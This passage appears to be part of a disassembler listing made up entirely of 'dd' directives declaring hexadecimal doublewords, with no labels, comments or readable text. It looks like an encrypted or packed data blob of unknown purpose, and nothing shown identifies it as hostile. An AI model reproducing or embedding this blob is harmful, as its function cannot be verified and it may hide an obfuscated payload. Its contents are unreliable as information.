0F2BB5B01h, 0ED8263A3h dd 513C42F5h, 2D076A78h, 14C83538h, 7733FE57h, 3470F911h dd 0D670A32Fh, 6957A50Bh, 0D8DDD09Ah, 5FE4BA48h, 0EC5AE028h dd 0D3BF4750h, 9432DE4Bh, 9F97D0CEh, 0D65E8B0Bh, 25C4447Ah dd 8DC2A73h, 0F4528B72h, 0EA28BEC8h, 4BDD06C1h, 9D425EE9h dd 309D5DF6h, 0EE659457h, 3A3AB830h, 89F60F6h, 9DFDF80Fh dd 88C0C34Bh, 0EE9FB2B0h, 0ECA9B542h, 77512F75h, 316F9300h dd 5AE90238h, 8E811E6Bh, 1FEF1609h, 279C4CAAh, 0FC7AEC54h dd 7D5EC2F8h, 0C44239FCh, 425A78h, 451DB3EEh, 0A0055954h dd 16CC481Dh, 0EC2FA240h, 5E71E94Ch, 5F9147D8h, 15A7F135h dd 2F72F536h, 18F89316h, 0FA40CAA8h, 0D08005B6h, 4CEFEEEh dd 585208Eh, 4EBCE4E9h, 52D1F606h, 591F38B2h, 2D8BD901h dd 9C435E3Eh, 75F53963h, 50582CEBh, 0E9990263h, 0FE9A7747h dd 0BF2798DFh, 1F1C00CAh, 0E4F78133h, 4A485274h, 197E7EF9h dd 2EE93244h, 6FD7B576h, 9FEBB106h, 97791320h, 0EB6F9E51h dd 0BD5FC0B7h, 9F421E71h, 0B86F891Eh, 6856385Fh, 0CC2AEF10h dd 1A4EE3D1h, 76C401BCh, 0EF8002A8h, 0D422632Fh, 435398BFh dd 0E68B8860h, 0B0CA4C67h, 95BA848Ah, 0CD0C0960h, 640A57A0h dd 0C69A030h, 45B0E27h, 0E9FB29E7h, 3F4EA1BAh, 0D2DF1DA2h dd 4B8D824Ch, 388A98E8h, 87196E0Bh, 7BAC86D3h, 0DB40B73Ch dd 0F893FE08h, 0B5CEB340h, 0A04EB74Fh, 0ECCBAE2Dh, 24FC9457h dd 3DF510E3h, 24C8CEB9h, 0C6021753h, 0BFBD010Dh, 7B3EBC0Eh dd 6808A650h, 3F2C141Ch, 2041AC17h, 2934C8B0h, 0E4C788F8h dd 48997F9h, 0E98638EDh, 9788BEB0h, 6875651Ah, 80D9A44Ch dd 45EE5A54h, 0E7DB9354h, 0C70F2273h, 0ADDFF64Fh, 0AD3083DDh dd 2B54128Bh, 0B31DE862h, 5B2204F5h, 0C24A8F2Ch, 1C79B2F5h dd 372F1A3Ch, 26A0682Ah, 1E690E46h, 3B412D0Dh, 30E0C138h dd 1C208837h, 0E445B5D1h, 553E5609h, 119F1E18h, 0F1BB3A95h dd 0A22D8169h, 2E16B875h, 7015484h, 3457685Bh, 0ADD68738h dd 332D8F8Dh, 4B4E5ACAh, 65904155h, 919C3667h, 6CB25444h dd 4F55E393h, 5207B8A8h, 700A70BAh, 5EAC167h, 8B840F09h dd 98A1FA76h, 367924E4h, 0EF96084Dh, 0E8E4D328h, 416A5C82h dd 0DCB2BB50h, 1250903h, 0CD7D85Ch, 74E5E951h, 8B00BF2Ch dd 8157DA5Eh, 9596EEFh, 0EAE94E8Fh, 93BA4F0h, 67A5B5D6h dd 0B54FFEA9h, 2C306BCDh, 4D96E9C3h, 0F130A573h, 7F46681Dh dd 7A253892h, 6C083A97h, 872940D5h, 0D75CA3AAh, 0A6ECC7AFh dd 0FEF0A78Ah, 0F5795A69h dd 0D34D59B4h, 73451240h, 0D23A1EA7h, 1FC036C4h, 0D687F229h dd 0C20B05Ah, 768481Fh, 3271180Ch, 0CCE9E41Ah, 0C378542Dh dd 6CF1454Dh, 12452624h, 0B529D2B2h, 0CA9DD030h, 6D81BA16h dd 48E33674h, 0D72D4BD5h, 395AE201h, 951E32Bh, 0DC7C4768h dd 11827AF3h, 0C4F4185Bh, 493568D0h, 2887B19h, 0B4AD2992h dd 0A159BC4Ah, 0A815729Ch, 5A79F248h, 86D33DEh, 375A8115h dd 2F09692Ch, 854E1C5Fh, 0D433686Bh, 9AC1F2C3h, 514804DAh dd 7A6A24Bh, 0C180B7B3h, 0F87BD4F8h, 61582FD7h, 13C1898Dh dd 0EC802D03h, 8E9FE980h, 0AF40868Ch, 0DFEB00B3h, 0F352833h dd 43A8748Ch, 45274330h, 2CC56071h, 1F42D6FFh, 0FC0B1610h dd 0E4BDE297h, 0AEE95C4Ah, 972B3241h, 3562B242h, 0FEBCAE7Dh dd 40FD42AFh, 0DF071F0Bh, 98D552F7h, 224A27ABh, 0C4C4B8E8h dd 0B932AB6Dh, 55CBA9E2h, 0E8F4D605h, 800F0B8Ah, 7F79428Ah dd 0D934376Ch, 74779C86h, 7B3F8EE2h, 0C66E27C7h, 421B6812h dd 0B5628B8Fh, 65F827E9h, 203AAD4Ch, 0A3CCB782h, 747F6804h dd 8A8B6F5Bh, 87D1F700h, 13DEE9F9h, 4B8D99BEh, 0D93F487Ah dd 3E70A436h, 2A31EE03h, 0DE0C0B15h, 9503455Ch, 0E9E55EF0h dd 54532D9Ch, 2EF7622Eh, 81ECD62Fh, 0F8C4E9C4h, 5A5926B2h dd 8AF386CFh, 0AA25B782h, 45991646h, 80EBD130h, 766A0F02h dd 0FB09370Ah, 5C03B25Fh, 0B20A902Ch, 9DADC4C5h, 462081D8h dd 0B92D4AFCh, 315B0771h, 0C4098FC3h, 51AD24CFh, 0C74E12FAh dd 99466978h, 5DEE8912h, 2B068EC5h, 0B127EA0Dh, 0CBEE24C5h dd 0E0CD444Bh, 5100466Fh, 0D9F070B9h, 51CE29D2h, 0D43ADF59h dd 0E54BFD7Fh, 147E39AEh, 0E46BFCCDh, 569985EAh, 0C9A6ED68h dd 68410257h, 0C301C9A0h, 0FB964023h, 34274D7h, 252F6E58h dd 1046F268h, 4B627995h, 600B5C53h, 0B0A66E7Ch, 16F64AEDh dd 4AAEF877h, 0C994F9E9h, 0F0614A2Ah, 0A2475B15h, 16FFD3CFh dd 8198B3D9h, 36052915h, 3507B02Ah, 814A410Bh, 2DB0540Dh dd 0A4306EF2h, 53F83F0Bh, 2C7417B3h, 7419FCDCh, 7B5CF7A2h dd 0C8FC2227h, 0D559E9D6h, 0B75290E2h, 26BE0B48h, 0CF08AE9h dd 0B26CE68Ah, 0FBB8D698h, 0FE50661Bh, 0F358AB54h, 0A0DFB3EBh dd 5CD7E9D9h, 0E997C134h, 0AD313F42h, 2DF7965Bh, 46655FF8h dd 7FBC4925h, 8F120228h, 0F91D7D47h, 0D95759EDh, 0E7D03AC1h dd 0C0707615h, 455EF53Eh, 0AA258A0Fh, 5A56DEB7h, 4B9FA70Fh dd 132992E9h, 8A0B0844h, 59DD88E8h, 0E5A26A3Dh, 5CE4084h dd 1456CAF5h, 0D58AC2BDh, 5925A965h, 6EEA096Ch, 0EC314F5h dd 92534CB9h, 0ACB8BFC0h, 14FF36Dh, 3E2B4BCh, 2E5E1A69h dd 0ED403D7Dh, 0CA16EADh, 1EB1E923h, 85D3A843h, 16A2E5ACh dd 0C813C644h, 9983204h, 0B6414E42h, 5BE64488h, 0E95CB09Dh dd 43E449BFh, 156BF719h, 59162E8Ch, 0F8D7A9E3h, 0F22DF033h dd 3D062C44h, 0FBB3001h, 9754F486h, 740B8E2h, 59A2C68h dd 8EE06C95h, 94B1510Eh, 0D63A89E9h, 0B882BEFFh, 2AD4C16h dd 811CB154h, 52B3ECC2h, 0A289DDFDh, 0A25D684Ah, 75ED81F7h dd 8CE23A90h, 0A0017DEh, 89A9F719h, 0C15909CFh, 0FC0005E7h dd 0FD03EF9Ah, 0BA2094Fh, 2F31CB10h, 131B5353h, 4D0EE09Ch dd 0D296D5B0h, 4F02802h, 49FB793Fh, 14680007h, 0C4E9E87Dh dd 5C010E16h, 95C9EB80h, 5A111820h, 0B704CFE3h, 0A0E7E976h dd 51975413h, 8B2C0DDBh, 2CF5277Eh, 82160B57h, 0F88310A5h dd 0A2E71A5Dh, 2D105FE9h, 0DD95F7Ch, 9FEB33Ah, 10B30F66h dd 81C3FE85h, 62BE404Eh, 474FC761h, 0DE07AFE8h, 0D06C6F4Ah dd 0A82194F6h, 8981345Eh, 0BC057314h, 0D159B077h, 984F71E7h dd 3FF6B4Dh, 0C03101D4h, 73BBB673h, 0DD62C227h, 5314985Dh dd 80CF5E88h, 93345940h, 4D203490h, 0D0F6078Dh, 0B203E8C0h dd 0E544688h, 0FBBC6B8Bh, 9190BD2Eh, 0A85F2C0Fh, 4194118h dd 6C61E1B5h, 5101D100h, 9AB43B50h, 0FEDAF480h, 1C8B0FC4h dd 29982DBCh, 0CDCA01B3h, 2B0F6EB4h, 0D3255904h, 1C7D3109h dd 8F681E39h, 0A2A245Ah, 0CB53BD65h, 50272300h, 6F907186h dd 5D0D2369h, 0F4E60E05h, 6C629069h, 91AF13Dh, 0DB232382h dd 86162209h, 89B6C559h, 0F0409B3h, 0F1800335h, 14C1982Fh dd 2ACF7D28h, 1DAEF244h, 1ECBFEDBh, 0DF7AC9D3h, 18BFEB90h dd 89598509h, 0CB3380F3h, 0F7FC690Ch, 367F0C87h, 3DE991E5h dd 0BD992FFBh, 8B3902EEh, 0E75CD009h, 5347936Ah, 2B86A7F1h dd 0B6931FE7h, 365531FDh, 99056DD7h, 0B307A00Ah, 0AD98024Bh dd 0E70E5EA8h, 73C811BDh, 842FE45Ah, 9F31104Ah, 0B79F7919h dd 1FBCBD0h, 337DE56Ah, 1089C013h, 0E969168Ch, 0BD474086h dd 35DA6E3Eh, 0AACD8103h, 4179A764h, 0AE1088E5h, 95DDF780h dd 0C8E64DF8h, 0CAC594Eh, 0F3F5A878h, 20190510h, 0EAEB834Fh dd 6240EC19h, 68592382h, 6EA02EB5h, 512921BAh, 1D983866h dd 2E2B70Dh, 0F054BF85h, 0B5EC4640h, 0D81A39E3h, 94E26624h dd 0C82942F1h, 991371FBh, 7A4DD4ACh, 10F8E9B4h, 0D841A003h dd 5AF88A2Fh, 596270A2h, 7CD4712Bh, 0CB0FF34Bh, 0E9858A59h dd 5953A0EEh, 9ED728F0h, 0CA872EB2h, 7148811h, 0DC555B09h dd 0CD04EB20h, 9FBD12D0h, 7F34050h, 430C39ABh, 0B19C750Fh dd 644E3EF4h, 0C0491B2h, 0F437E95Bh, 0D148C2F7h, 48D41637h dd 0D8A61362h, 0AFEABD5Ah, 0A1147DEBh, 30308E1Fh, 69D77E4Bh dd 5715037Eh, 391472BFh, 6E5A31B2h, 0B4343509h, 8132D51Ch dd 0DD3AE606h, 0DF324A95h, 27447C01h, 0A34D2025h, 568C1812h dd 0E810441Bh, 0B01D7F2Dh, 45C213CEh, 97D41C29h, 0B29CC8FBh dd 4CD6564Ch, 0C828B089h, 0CC120E9h, 0B7BDBF4Fh, 12FB011Fh dd 0BDA5C468h, 19D75E1Ch, 55D2DBD5h, 9353D4D2h, 0EFE82343h dd 314C34A8h, 94FB892Ah, 0C4C75F5Dh, 72F91293h, 39D2D7D6h dd 5C279F76h, 6E01795Bh, 56086910h, 5BE93FEEh, 315ACD81h dd 40192B20h, 0D36F8984h, 312DB88Dh, 50D5B6DEh, 29C4F121h dd 0AEFCCEE9h, 0BC07EC4Eh, 9909E8E9h, 57559E49h, 0E7AE5CAAh dd 0C1ADE254h, 781244h, 80FD5E70h, 3EAC030h, 0ACAFE30h dd 30E28602h, 0E908D4F6h, 0D7BA3271h, 0B27C7222h, 489A4D49h dd 2CC9FE16h, 0C84AE926h, 55830684h, 8047000Bh, 0D930FAC3h dd 0BD48045Bh, 4C2C3A04h, 99B57050h, 0FB30B579h, 815C5EB7h dd 711CC78Eh, 0BD498ABCh, 0DE253702h, 74960B22h, 4E3263D9h dd 5B840908h, 64FADFh, 9ACE301h, 0EB5774ABh, 5D12082Ah dd 5B4C6D8Fh, 591DD620h, 927CEA83h, 939B2927h, 9D20872Ah dd 0AB855582h, 0AA51EFA4h, 2DBD0EC0h, 2576038Eh, 2140FB1h dd 2F230DC0h, 84126778h, 0B1A2F24Fh, 419E1810h, 47846A86h dd 2F7EE1E9h, 6EF19128h, 0E981C8C9h, 183B6264h, 4055CDFEh dd 1FB15162h, 0FBCE88C0h, 65F1942Fh, 0E9565DE0h, 0B382A842h dd 0EBC02F67h, 35370E82h, 1762785Ah, 68E6A10Bh, 318D0F76h dd 8CB99581h, 0F2A781A0h, 878AFEFCh, 2967E02Eh, 17E420E7h dd 6037A12h, 0A48C67EAh, 478F03F4h, 0A91CC240h, 29FDDE80h dd 0DE16F41h, 305BB017h, 14F527B5h, 0D6A8BAAh, 0FBE77DE9h dd 3CD3B03Eh, 6334294Fh, 0C27788AEh, 330C6A60h, 0BD9288E9h dd 0C4978AE6h, 0A5DD27BDh, 54F79BC8h, 0FC7ECB25h, 0FA350799h dd 0AE4EB439h, 20229E18h, 2376040Fh, 0FE05E1C1h, 0AB83985Dh dd 0B508CE43h, 0ED71C980h dd 0F5C7EA42h, 3B8B3A6Dh, 5493F1F9h, 0BCCE64AFh, 92B3D39Dh dd 9BA9E909h, 6E0E3C7Ah, 0C458E528h, 80ABB7EDh, 1FC9E901h dd 9C821F9Eh, 543079CFh, 985408B4h, 31176C26h, 28FA1152h dd 0EE5F6BCFh, 9785D927h, 5484B795h, 0E26367FAh, 1248C9E7h dd 3080672Eh, 0D2CEE4F1h, 83340808h, 0C1CCE909h, 0C57F5CABh dd 12F581D6h, 10C97D8Fh, 0A5408A61h, 0A6BCC106h, 0F977453Fh dd 5B299373h, 0C19674FAh, 39761984h, 16BB94F9h, 0B7A3FBC7h dd 1A07984Eh, 29A62BFFh, 0B01EE9C5h, 7DB25A63h, 4B37FA97h dd 8465925Fh, 0B1080056h, 0E2CC3A66h, 0C62EF345h, 57809B0h dd 0A4358178h, 21190A26h, 50F14F14h, 7D43B8F8h, 0F72E9053h dd 64E1E9F8h, 814B48CAh, 8185CDC4h, 6E9BEBADh, 277833AAh dd 8813293Fh, 16521DDFh, 8578A2EAh, 0BB51A68Eh, 0F9F602D9h dd 76CE6CE9h, 937FEFD1h, 12F9E9F1h, 0BD697Ah, 4BAD3D12h dd 4E00D815h, 2D3EE847h, 0AB7FF507h, 0E5B5E93Ah, 0F9067CBDh dd 0E81BEE23h, 622CFE98h, 0DE8864F3h, 0C3FE0ABCh, 0D4801F02h dd 0F8309DB8h, 79ADF693h, 921E113Dh, 9B7183ABh, 0D86B757Ah dd 634AE960h, 0F7EA4041h, 0DACB550Eh, 0B7CD706Fh, 308E99C5h dd 9C64DF0h, 6325A9Bh, 20840D4Ch, 0BFB62D65h, 0ED2EA78h dd 68EB61ABh, 85975079h, 2FBF219Dh, 9796AACFh, 0AC80C44Fh dd 0B76B3CF1h, 0CECC4F40h, 59CA2C29h, 69E9C23Dh, 0F161264Ah dd 8B06A808h, 133FB33Fh, 28EFD99Dh, 535E5D66h, 0F05BB222h dd 81BB6781h, 4391E25Ch, 8B9D8C59h, 27C73E25h, 0E641E3E9h dd 16BC7254h, 31A8A7E7h, 0E92D89E8h, 582595Dh, 0AC6BCE68h dd 58FC587h, 0E72DB8F3h, 428792A8h, 437664FFh, 5B4B6BCBh dd 0A3632C85h, 2FB11F00h, 5776AE2Dh, 0F1350475h, 0EFBA59A8h dd 36687702h, 83E5554Dh, 163FE986h, 0D2F72C0Ah, 12A027Ch dd 975BD90h, 25DCECFEh, 6664E47h, 285638h, 0DDC98159h dd 9072966Eh, 6D44028Eh, 0F901470Bh, 4EF12460h, 0B7C0E913h dd 0D43837ABh, 2CDBFDBDh, 8D099C8Fh, 0F2D9F112h, 0CD448762h dd 9095B97Fh, 13E581F9h, 974A11h, 2B03C579h, 3EC94BF1h dd 749E0021h, 0D116852h, 5AF81B22h, 0F1C86F26h, 6C978442h dd 6D5C2D15h, 94F5A54h, 40B56232h, 24DA289Bh, 0E635B66h dd 96628007h, 65E14C2Ch, 0E882DBB5h, 8FA4F8C1h, 0CBCA31F9h dd 16A65659h, 644CFD5Ah, 0A3C00709h, 0DF1E47F7h, 9E8B420Ah dd 9DF4E5E9h, 45E66806h, 0BD242597h, 1090CC16h, 0E6F43041h dd 0DBD0555h, 8056A009h, 9B515E3Dh, 20E9053Fh, 4CD9E07Bh dd 4D585380h, 0C09EE2Dh, 0FE8B96F5h, 0BF57B241h, 0AB557C8Bh dd 12611659h, 522077FFh, 25BCA9FBh, 9631B5Ah, 0B730E90Dh dd 10495C5Eh, 972F1286h, 0BE566130h, 0FD169B1Fh, 0D300EE66h dd 0E97C3A7Dh, 0B3D84B77h, 765225C7h, 0E9325A0Bh, 0E918574Eh dd 0BA42B49Bh, 0B3670078h, 895EB90Ch, 0C29511B1h, 247D560Eh dd 3899036Ch, 137F73FAh, 5181C339h, 76A69C0Bh, 0D4040313h dd 28EBA048h, 0B24078FBh, 3989733h, 5E8162FCh, 0C255BFD9h dd 3B82681Eh, 80450D19h, 0C2D8E4F2h, 80829D3Dh, 0A5F16E05h dd 9390F720h, 0C6123B25h, 46FD0C2Ch, 3E4E79C4h, 0C992803h dd 81386850h, 4F7C0880h, 0FC0BBFD3h, 5D08A799h, 0C4F25762h dd 5228C9B3h, 372006D8h, 0CE0128F4h, 0EFC797BCh, 0FA2DF222h dd 4E51181Eh, 0EEE1C2FDh, 4AC15734h, 0EC88DA29h, 0F0E90908h dd 52701F0h, 2F207B02h, 7F8FAC87h, 9D2A1133h, 6E8BBC74h dd 2DF7F169h, 80A5F6D5h, 5D51C054h, 436E9DCh, 17F4D4Fh dd 14F3C4D9h, 0A0108808h, 4B0C64B5h, 0FB190F0h, 0A2C1800Eh dd 0B809B344h, 1937C5B0h, 21C558ECh, 5E2EB285h, 262C64D2h dd 6813BD01h, 388C4BA3h, 0C5803F18h, 8825284Bh, 8E50EF39h dd 0EBD4F6FCh, 759057E7h, 325BA268h, 0E9A17AFDh, 2125359Fh dd 0C1776A2Eh, 55CBFDF2h, 9A2755C7h, 75D40939h, 0EE018AA2h dd 6DB8E9C1h, 2C7F0E0Dh, 52F80164h, 46FDADB2h, 62A9A254h dd 0A01AF981h, 815A801Ch, 0C15C581Fh, 3550B7EDh, 78687601h dd 7B2BE971h, 0C79EE33Ch, 69E87DCFh, 7FEAE300h, 91D9C10h dd 902071E9h, 0FE283528h, 0DEB3EC3Ah, 101C880Ch, 7952030Dh dd 8E0F1FF0h, 4C4BFBE5h, 5D07ABC6h, 88C4700Fh, 0E2FDD79Eh dd 12750BD9h, 0A147CCFFh, 313F9268h, 3CA6BA8h, 7753F155h dd 58E27674h, 4C741003h, 510EFD28h, 0C80B88B1h, 2C1DFA5Ch dd 5258A5E6h, 80EC17B6h, 0E87905EEh, 0BB354999h, 0EB011DF9h dd 1B820A59h, 0B2125B68h, 0F11D9074h, 35137F06h, 7D10DA29h dd 3BFC4F08h, 5D0EBD4Ch, 29680B9Ch, 84D5F709h, 96C06776h dd 0BBCD016Dh, 0C0502D0Bh, 39B85000h, 9258623h, 711097C5h dd 7B9D2AE0h, 6B9F420Fh, 0D2DC5DDh, 3CB0F13h, 6B99E2D6h dd 6070F053h, 0F875D9Ch, 648F972Ah, 0A2CA9EC7h, 12FBBD5Ah dd 35E9922Ah, 3F05BB92h, 44EB76AAh, 0F2F7F948h, 93447F07h dd 3225615Eh, 0F2F7EF8Ah, 0F2B1487Fh, 195702CAh, 0F450E9D9h dd 0F32E4657h, 207F21FDh, 7B7A2DD2h, 0A53DCE3Eh, 0ADD501C3h dd 0E76CD831h, 0FC2CFED2h, 0D3150CDEh, 0CBF84208h, 0D53D5C81h dd 0CACE9413h, 0B1494FA8h, 5C932959h, 52521ECAh, 5E65818Ah dd 1A952E05h, 2F9CC608h, 0BA0113C7h, 603837B0h, 56D077Fh dd 18E870BBh, 0CF54BCE9h, 5F63A693h, 0E29BB10Ah, 0B70B589Ah dd 3DA85AF3h, 974B330Eh, 1AE2C00Bh, 5C6B4577h, 0ADD0094Ah dd 92DBE51Ch, 0DC3F843Dh, 0CA609096h, 6A74F2F5h, 0F54D48F5h dd 0D60004Bh, 4F7C3538h, 0F8418D90h, 0F556B46Eh, 8E657301h dd 5DEE31D7h, 54210861h, 0ED12D339h, 913C0406h, 0DE5CF9C4h dd 0D984C2D3h, 2FA200ECh, 0F681BA48h, 0D80E273Bh, 0BDEE03CDh dd 170332Eh, 8CD7A318h, 7CECE9B8h, 4888264Ah, 694B0E16h dd 0CEBC5554h, 959F395h, 81F970A9h, 0F1F85CC4h, 0A98AEEE4h dd 5C96EE23h, 0BDD374ADh, 9932131Fh, 0C487D5B9h, 0BA29DB02h dd 0EF595874h, 0B02FE908h, 0E35B2095h, 0BF139CB8h, 5282B8C2h dd 76B4225Bh, 0C98CC29Dh, 0A8A6295Fh, 0DEF75844h, 82E004D9h dd 9212EFFCh, 0F3874856h, 0BFB20C2Ah, 0A2280645h, 4C65D720h dd 0B410EF4Fh, 0A0B20960h, 43E7DC50h, 0D11069FDh, 0A35B7FC4h dd 0DABC4B7Bh, 6CF45489h, 54180BD3h, 945D28E9h, 0DE292740h dd 1303D6Ch, 3E7AD2C6h, 632B5F6Ah, 0A3D599FCh, 0FA8807ECh dd 0D744D2F6h, 5F955684h, 0D2DA8ABFh, 0C1389543h, 5D3A279Ch dd 5862D454h, 37FE09EEh, 1129302Fh, 0FEE957Bh, 73124A6Fh dd 3AAE4BEEh, 0B033B768h, 4BE82180h, 31C0AD5Dh, 0D5E9F708h dd 3CBBD7CEh, 447F30DAh, 0D2A6245h, 0E97CCF87h, 57511F3Ah dd 72C95F9Fh, 0C2385CB9h, 0BA00CC05h, 0B5AC4DADh, 524FCDE0h dd 315E0109h, 7E028BEAh, 65E989A3h, 124A9EF5h, 0A2821B2h dd 0DE15387h, 7E97F245h, 202A8C8Bh, 0CD2927A2h, 8588B945h dd 9E6806CBh, 0E62F1527h, 9F6C1EFAh, 2B95C5C4h, 14D09AFFh dd 96692941h, 0F79787E3h, 0E0D132D7h, 0CBE9BAA1h, 5A228080h dd 52C2BE56h, 0A6504A6Ah, 4D863904h, 0AA6410EFh, 6948854Eh dd 0BF8C6B22h, 33D56249h, 546559CBh, 42ACE989h, 789B5501h dd 88727BD9h, 935C7D75h, 0BD2900CFh, 590BEC7Ah, 5702369Bh dd 0F5C37EE9h, 0C2DC6BAFh, 0D314D7CEh, 0F627167Ch, 96E96273h dd 18B90668h, 20026213h dd 330015ACh, 0C3813615h, 0A32E55ACh, 0E9854619h, 48B925E1h dd 9E7A860Bh, 3069F58Eh, 0D901F246h, 5A378355h, 71E0EAD1h dd 0A5599D75h, 45504682h, 6989FD3Dh, 0C68029DCh, 5632E416h dd 0BD589831h, 83892092h, 3B95A975h, 0F9DB9F0Ch, 0FEE96203h dd 0AD7907EAh, 17E53DB7h, 9E5A29B8h, 0B3471091h, 2EFA064Ah dd 0C32F35F9h, 2BACC58h, 7D5D6402h, 3282CB31h, 0A3DA98D4h dd 4C9EC320h, 0FB04FC5Dh, 0AA135C56h, 0BBF77704h, 832DAD00h dd 227BE41Bh, 1BA2362Dh, 7BFA0Ch, 134504B9h, 4C21E9B0h dd 0B051261h, 385F0C22h, 342BFE5h, 0E938C73Eh, 45099994h dd 5CFD69FCh, 0B10613F9h, 830D839h, 6817455Fh, 87FC6280h dd 0C4416212h, 0E75F8B98h, 5B2F082Ah, 5B465017h, 0C0BD2D58h dd 3507E09Ch, 0FE099DCAh, 0F4C229DFh, 9052C4A1h, 6871A7F0h dd 63E3C68h, 5FD5A1Fh, 506D6035h, 4FB287D0h, 873A0CE7h dd 4A0645EAh, 0B4E2D124h, 90B8BE0Bh, 2C432D87h, 0BBDC7160h dd 0D6C5C9CAh, 0E817100Fh, 0FE8BD5A3h, 5B76EF54h, 400D96E0h dd 97BC55E4h, 9BE80C2h, 0F89D125Ah, 975DF8B3h, 3255EBE2h dd 68E22A1Ch, 0E6FCB412h, 106CF74Fh, 0BA016C81h, 1790844h dd 88B32B74h, 25060C41h, 40F39077h, 0C377215Ah, 0CFF10A4Fh dd 4B9F6F62h, 730879Fh, 38FF9668h, 0B7A0C4C3h, 83D0016h dd 174C64Fh, 40BDCA48h, 0EC15908h, 67BD7DA5h, 839658FEh dd 9F1C1C08h, 97359257h, 9AA049FCh, 0D31D4868h, 9AC15EFEh dd 0DD6E1A22h, 9E5D44FCh, 0D01B92A5h, 0DFB6C1C9h, 89D4FB17h dd 93E91D90h, 1852A0E7h, 7CF1302Eh, 0F23A8976h, 2AF58051h dd 83C8A9A3h, 0A0885F3Eh, 77209D02h, 1C1EC0CBh, 0D37D6090h dd 0A16C4E20h, 9E680B2h, 59BBA182h, 640B24E4h, 4432C2Dh dd 61FFC12Fh, 164C7376h, 71919810h, 8F23A09Dh, 0ECBF81EDh dd 47589575h, 484104C4h, 81AA7015h, 4D1D88Bh, 80DBC1FEh dd 14E168E3h, 69AB1E04h, 9A048373h, 0DA98C29Ch, 0BFCD06F0h dd 0C50823Ch, 52030B09h, 0D03B8034h, 2EA17FECh, 12D1E929h dd 601B3DBh, 78467D58h, 8E983D0Ch, 0E3DEFDADh, 0B0124ABEh dd 0B26FFBA1h, 6FE9C207h, 0B5CFC615h, 0FEA7F445h, 6046495Eh dd 0F21F322Fh, 61CF3073h, 0FBE8C6D9h, 0F8EEF62Dh, 0BDF380A4h dd 2FD93433h, 0CC54BB0Ch, 76DC201Ah, 589C3380h, 0C9B9A808h dd 0C24FFC97h, 3292C29Ah, 0A571AFBFh, 70ECE283h, 0FD1158C4h dd 0E094109Eh, 81425F25h, 6E270D5Eh, 0EA029DB0h, 0C0097822h dd 0B0212B6h, 15B253Fh, 0A7148F6h, 0B684132Ah, 7E06136Dh dd 0BF351190h, 0D3AF2D5Ah, 2B57D2C1h, 0F70CA344h, 929F70E3h dd 0C097A1F0h, 0F60559CAh, 0F2C280DAh, 0F801D4D7h, 0CC25E704h dd 82E9A76Bh, 8130B151h, 0D1F6B2A4h, 0C17E917Fh, 28BCD09Ch dd 0F3B660B5h, 6182F2h, 37680058h, 28AE2653h, 0D3C16279h dd 0A094E657h, 807B5CF4h, 0D89DE189h, 9A71EAD4h, 0B3C84B64h dd 39EBD6BCh, 0CA9C38D1h, 0E3A6F729h, 0FA1E9603h, 0DAD0D915h dd 0E160500h, 0F6708D26h, 0E140B313h, 0C08A50Dh, 400BB831h dd 627034A8h, 0BDABC350h, 0A3440981h, 8F05CF00h, 27401B57h dd 0F67CC789h, 5A667472h, 427C255Fh, 520033E8h, 15506856h dd 8B6F19ADh, 0DFE92232h, 81CC0A14h, 0BA5D25E7h, 0C60C931Ch dd 0E9213203h, 0C993D478h, 0F2D1BAEBh, 2ED87E68h, 9F5B918Dh dd 0EEC089C2h, 7ECD9677h, 7F5C816Bh, 94CBDD28h, 0E6FD59D4h dd 8DC2BF7Eh, 0B1B2D57Ah, 54275591h, 0BC80EEAFh, 4BEA5F45h dd 0BDFD3055h, 1E1D1B4Bh, 1758E965h, 74E0BA5Bh, 0F4A055Fh dd 0FEC4458Bh, 40B1BB28h, 0E0258A60h, 26E0785Dh, 1AD05BB7h dd 434CD5F4h, 0F549B3F8h, 6A059242h, 15C9E609h, 10D860FEh dd 5AD52D89h, 33491B58h, 0EF7810CDh, 4EFB777Eh, 809CADECh dd 2BB5396Ch, 0E8DF5EF7h, 0F4F0535h, 2F9238Dh, 397DE703h dd 0F7B01E69h, 0AC1824D4h, 59E05A2Ch, 0C227C05Dh, 6CAD461Ah dd 30C5997h, 0DA88D88Ah, 5B5AD490h, 80C2664Ah, 5488F828h dd 7E058452h, 789B3D2Ah, 0AFC7611Ah, 0CC51B204h, 2200B9F4h dd 0BB190102h, 1350CE1Ah, 0FACB2987h, 4F31DB2Ch, 0D4CDE3D8h dd 0AFB91352h, 0E88849E8h, 0D7E34230h, 60FD2C46h, 190B25A4h dd 82C63277h, 416E273Ch, 0BB00D44Ch, 25095F0Ch, 0DDCB3155h dd 241B3E03h, 0C5DE87B4h, 9333B8B3h, 6A9C7801h, 947B1FE7h dd 0C08189Dh, 5A3912BCh, 95E91D2Fh, 0F2BEB1B0h, 0EC9C018Bh dd 6F7A4E05h, 2DCB7019h, 20E907A0h, 4D35E69h, 0D6AEC3E4h dd 4B020C2Dh, 116A664h, 0BF5761D3h, 5C312470h, 0D920C011h dd 0AF547397h, 0E912B75Ah, 0C3F8C6EDh, 5C0458B3h, 5CA74305h dd 548EE487h, 9B284E08h, 7CC36929h, 31866203h, 3C9AFDC4h dd 70C4DAE9h, 71C97FC1h, 0D28B1970h, 3DF0BD3h, 0BBFC4184h dd 2CF035D9h, 7166BED0h, 93A03A29h, 39E158D2h, 0B0214B2h dd 0EC2D057Eh, 0B48CB5C1h, 985EBAEBh, 0DB1427BBh, 7901732Bh dd 30891644h, 5B4E3554h, 0FE124B8Ah, 1307ED19h, 50F4F9CDh dd 0BD2240A2h, 0B0C27ABDh, 0EC5D5E6Bh, 0F1420F7Ch, 0BAF03725h dd 0A0D29533h, 250CDBB5h, 68840776h, 89BA1C0Bh, 2B54E932h dd 447BF03Dh, 0CD4004h, 4B71A4B8h, 5D439D50h, 0EAB70640h dd 7B5D740h, 0C0C5FE9Ah, 8777FBEDh, 690860E9h, 27170FCh dd 0E43C672Ah, 1794B88Fh, 0E8ED1F68h, 409DE48Ah, 5EBF02EDh dd 0FE21A627h, 0D45745C9h, 0C58DE2CAh, 66EA01DDh, 68127085h dd 6AF32AC4h, 0B332D300h, 9647BF03h, 292C7B17h, 5BD7A0B2h dd 47825727h, 4F068B60h, 9E57E917h, 7E40E5F5h, 0BF4CACBh dd 5BDA09F8h, 7A7E94F8h, 0C90076B0h, 50C308A4h, 8A54FCE9h dd 0A9CD1482h, 48E5BA00h, 0F74116A1h, 8063A9DAh, 0AE2CC4F2h dd 0D668BD46h, 5180EC11h, 13DEC250h, 0F5E2167Fh, 377C70ABh dd 0B0E9C072h, 480F0425h, 0A97379E9h, 52AC07E1h, 12BFA88h dd 